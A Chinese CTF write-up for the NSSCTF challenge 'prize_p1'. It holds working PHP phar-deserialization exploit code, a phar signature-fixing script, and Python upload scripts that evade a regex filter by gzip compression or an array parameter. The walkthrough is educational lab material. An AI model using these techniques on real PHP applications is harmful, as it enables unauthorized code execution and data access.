当前位置:   article > 正文

[NSSCTF]prize_p1

[NSSCTF]prize_p1

前言

之前做了p5 才知道还有p1到p4

遂来做一下

顺便复习一下反序列化

prize_p1

  1. <META http-equiv="Content-Type" content="text/html; charset=utf-8" />
  2. <?php
  3. highlight_file(__FILE__);
  4. class getflag
  5. {
  6. function __destruct()
  7. {
  8. echo getenv("FLAG");
  9. }
  10. }
  11. class A
  12. {
  13. public $config;
  14. function __destruct()
  15. {
  16. if ($this->config == 'w') {
  17. $data = $_POST[0];
  18. if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {
  19. die("我知道你想干吗,我的建议是不要那样做。");
  20. }
  21. file_put_contents("./tmp/a.txt", $data);
  22. } else if ($this->config == 'r') {
  23. $data = $_POST[0];
  24. if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {
  25. die("我知道你想干吗,我的建议是不要那样做。");
  26. }
  27. echo file_get_contents($data);
  28. }
  29. }
  30. }
  31. if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $_GET[0])) {
  32. die("我知道你想干吗,我的建议是不要那样做。");
  33. }
  34. unserialize($_GET[0]);
  35. throw new Error("那么就从这里开始起航吧");

这里定义两个类

第一个类可以通过触发_destruct()得到flag

第二个类可以实现文件读写的功能

可以传两个变量 一个post一个get

因为get里面正则匹配过滤了getflag 我们没法用get传参直接反序列化触发getflag类

但是可以利用post 上传phar文件 再用phar协议读取

就可以反序列化class getflag

从而触发__destruct()魔术方法 echo flag

那么我们第一步先生成phar文件

  1. <?php
  2. highlight_file(__FILE__); // 将当前PHP文件的内容进行语法高亮并输出到页面上
  3. class getflag // 定义一个名为 Testobj 的类
  4. {
  5. // 声明一个属性 $output,初始值为空字符串
  6. }
  7. @unlink('test.phar'); // 删除之前的 test.phar 文件(如果有),@ 符号用于抑制可能出现的文件不存在的警告
  8. $phar = new Phar('test.phar'); // 创建一个名为 test.phar 的 PHAR 文件对象
  9. $phar->startBuffering(); // 开始写入 PHAR 文件
  10. $phar->setStub('<?php __HALT_COMPILER(); ?>'); // 使用 setStub 方法设置 PHAR 文件的启动器(stub),__HALT_COMPILER(); 是 PHP 的特殊标记,表示文件编译的结束
  11. $o = new getflag(); // 创建了一个 Testobj 类的实例
  12. $phar->setMetadata($o); // 将 $o 对象作为元数据写入到 PHAR 文件中,这种方法不再安全,可能导致安全漏洞
  13. $phar->addFromString("test.txt", "test"); // 向 PHAR 文件中添加一个名为 test.txt 的文件,文件内容为字符串 "test"
  14. $phar->stopBuffering(); // 停止写入 PHAR 文件

但是post里面也过滤了getflag

生成的phar文件里面还是包含getflag明文

类比之前做过一题phar反序列化 只要把

phar文件打成压缩包

(gzip bzip2 tar zip 这四个后缀同样也支持phar://读取)

传输进去的就是二进制流乱码 就可以绕过正则匹配

写个脚本上传一下

  1. import requests
  2. import re
  3. import gzip
  4. url="http://node4.anna.nssctf.cn:28134/"
  5. ### 先将phar文件变成gzip文件
  6. with open("./1.phar",'rb') as f1:
  7. phar_zip=gzip.open("gzip.zip",'wb') #创建了一个gzip文件的对象
  8. phar_zip.writelines(f1) #将phar文件的二进制流写入
  9. phar_zip.close()
  10. ###写入gzip文件
  11. with open("gzip.zip",'rb') as f2:
  12. data1={0:f2.read()} #利用gzip后全是乱码绕过
  13. param1 = {0: 'O:1:"A":1:{s:6:"config";s:1:"w";}'}
  14. p1 = requests.post(url=url, params=param1,data=data1)
  15. ### 读gzip.zip文件,获取flag
  16. param2={0:'O:1:"A":1:{s:6:"config";s:1:"r";}'}
  17. data2={0:"phar://tmp/a.txt"}
  18. p2=requests.post(url=url,params=param2,data=data2)
  19. flag=re.compile('NSSCTF\{.*?\}').findall(p2.text)
  20. print(flag)

最后返回的结果为空

再回去看这个代码

要绕过这个异常

绕过异常

在进行phar操作的时候,通过file_get_contents函数利用phar协议来读取时,也是将里面的getflag类进行反序列化,因为这个异常,我们是不能执行getflag类中的__destruct方法的,所以我们需要绕过异常。那么我们可以在phar文件明文部分修改为

a:2:{i:0;O:7:"getflag":{}i:0;N;}

怎么理解呢?这是一个数组,反序列化是按照顺序执行的,那么这个Array[0]首先是设置为getflag对象的,然后又将Array[0]赋值为NuLL,那么原来的getflag就没有被引用了,就会被GC机制回收从而触发__destruct方法。

重新生成phar文件

  1. <?php
  2. highlight_file(__FILE__); // 将当前PHP文件的内容进行语法高亮并输出到页面上
  3. class getflag // 定义一个名为 Testobj 的类
  4. {
  5. // 声明一个属性 $output,初始值为空字符串
  6. }
  7. @unlink('test.phar'); // 删除之前的 test.phar 文件(如果有),@ 符号用于抑制可能出现的文件不存在的警告
  8. $phar = new Phar('p1.phar'); // 创建一个名为 test.phar 的 PHAR 文件对象
  9. $phar->startBuffering(); // 开始写入 PHAR 文件
  10. $phar->setStub('<?php __HALT_COMPILER(); ?>'); // 使用 setStub 方法设置 PHAR 文件的启动器(stub),__HALT_COMPILER(); 是 PHP 的特殊标记,表示文件编译的结束
  11. $o = new getflag(); // 创建了一个 Testobj 类的实例
  12. $o = array(0=>$o,1=>null);
  13. $phar->setMetadata($o); // 将 $o 对象作为元数据写入到 PHAR 文件中,这种方法不再安全,可能导致安全漏洞
  14. $phar->addFromString("test.txt", "test"); // 向 PHAR 文件中添加一个名为 test.txt 的文件,文件内容为字符串 "test"
  15. $phar->stopBuffering(); // 停止写入 PHAR 文件

但是我们一旦更改phar里的内容就要修改它的签名

修复签名的代码

  1. from hashlib import sha1
  2. f = open('./p12.phar', 'rb').read() # 修改内容后的phar文件
  3. s = f[:-28] # 获取要签名的数据
  4. h = f[-8:] # 获取签名类型以及GBMB标识
  5. newf = s+sha1(s).digest()+h # 数据 + 签名 + 类型 + GBMB
  6. open('ph2.phar', 'wb').write(newf) # 写入新文件

再运行一下

  1. import requests
  2. import re
  3. import gzip
  4. url="http://node4.anna.nssctf.cn:28134/"
  5. ### 先将phar文件变成gzip文件
  6. with open("./ph2.phar",'rb') as f1:
  7. phar_zip=gzip.open("gzip.zip",'wb') #创建了一个gzip文件的对象
  8. phar_zip.writelines(f1) #将phar文件的二进制流写入
  9. phar_zip.close()
  10. ###写入gzip文件
  11. with open("gzip.zip",'rb') as f2:
  12. data1={0:f2.read()} #利用gzip后全是乱码绕过
  13. param1 = {0: 'O:1:"A":1:{s:6:"config";s:1:"w";}'}
  14. p1 = requests.post(url=url, params=param1,data=data1)
  15. ### 读gzip.zip文件,获取flag
  16. param2={0:'O:1:"A":1:{s:6:"config";s:1:"r";}'}
  17. data2={0:"phar://tmp/a.txt"}
  18. p2=requests.post(url=url,params=param2,data=data2)
  19. flag=re.compile('NSSCTF\{.*?\}').findall(p2.text)
  20. print(flag)

成功得到flag

看别的wp又学到这里用数组的话 不压缩也可以绕过正则

  1. import requests
  2. import re
  3. url="http://node4.anna.nssctf.cn:28134/"
  4. ### 写入phar文件
  5. with open("ph2.phar",'rb') as f:
  6. data1={'0[]':f.read()} #传数组绕过,值就是hacker1.phar文件的内容
  7. param1 = {0: 'O:1:"A":1:{s:6:"config";s:1:"w";}'}
  8. res1 = requests.post(url=url, params=param1,data=data1)
  9. ### 读phar文件,获取flag
  10. param2={0:'O:1:"A":1:{s:6:"config";s:1:"r";}'}
  11. data2={0:"phar://tmp/a.txt"}
  12. res2=requests.post(url=url,params=param2,data=data2)
  13. flag=re.compile('NSSCTF\{.*?\}').findall(res2.text)
  14. print(flag)

原理如下:

preg_match与file_put_contents(php函数特性利用)

前面讲到了,一般在利用file_put_contents这类函数写phar文件之前会有preg_match这种函数的限制,但是这里我们利用php函数的特性,可以完全绕过这种限制,php中有一些函数不能处理数组,会直接返回false,从而实现绕过,而preg_match就是其中一个,而file_put_contents又恰好能把数组的内容也写入文件,所以这样的组合就等同于无视waf任意写

最后

总结一下这题的知识点

__destruct触发

对象的析构函数在对象被销毁时触发,对象被销毁的情况

正常销毁:

当整个程序生命周期结束前会销毁所有的对象

可以看到 在整个程序执行完后才触发了__destruct()魔术方法

手动释放变量销毁

使用unset函数释放变量

在程序执行完之前我们手动释放了变量

触发__destruct()魔术方法

gc回收未引用变量

面向对象的语言内部都有gc机制,来回收没有被引用的变量,所以这个时候也会触发__destruct

创建时就未被引用



这里创建对象的时候没有用变量来接收引用,所以也在echo "lll\n"之前就被gc回收触发析构函数

创建后人为消除引用



这里对象创建的时候是$a这个数组里面0索引指向引用的,在10行改变0索引指向null,这样就使得a的对象没有任何引用,所以也会在11行执行前,被gc回收销毁触发析构函数

这题就是用这个方法提前触发这个析构函数 从而绕过最后一行的抛出异常

preg_match与file_put_contents(php函数特性利用)

前面讲到了,一般在利用file_put_contents这类函数写phar文件之前会有preg_match这种函数的限制,但是这里我们利用php函数的特性,可以完全绕过这种限制,php中有一些函数不能处理数组,会直接返回false,从而实现绕过,而preg_match就是其中一个,而file_put_contents又恰好能把数组的内容也写入文件,所以这样的组合就等同于无视waf任意写

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/小小林熬夜学编程/article/detail/530612
推荐阅读
相关标签
  

闽ICP备14008679号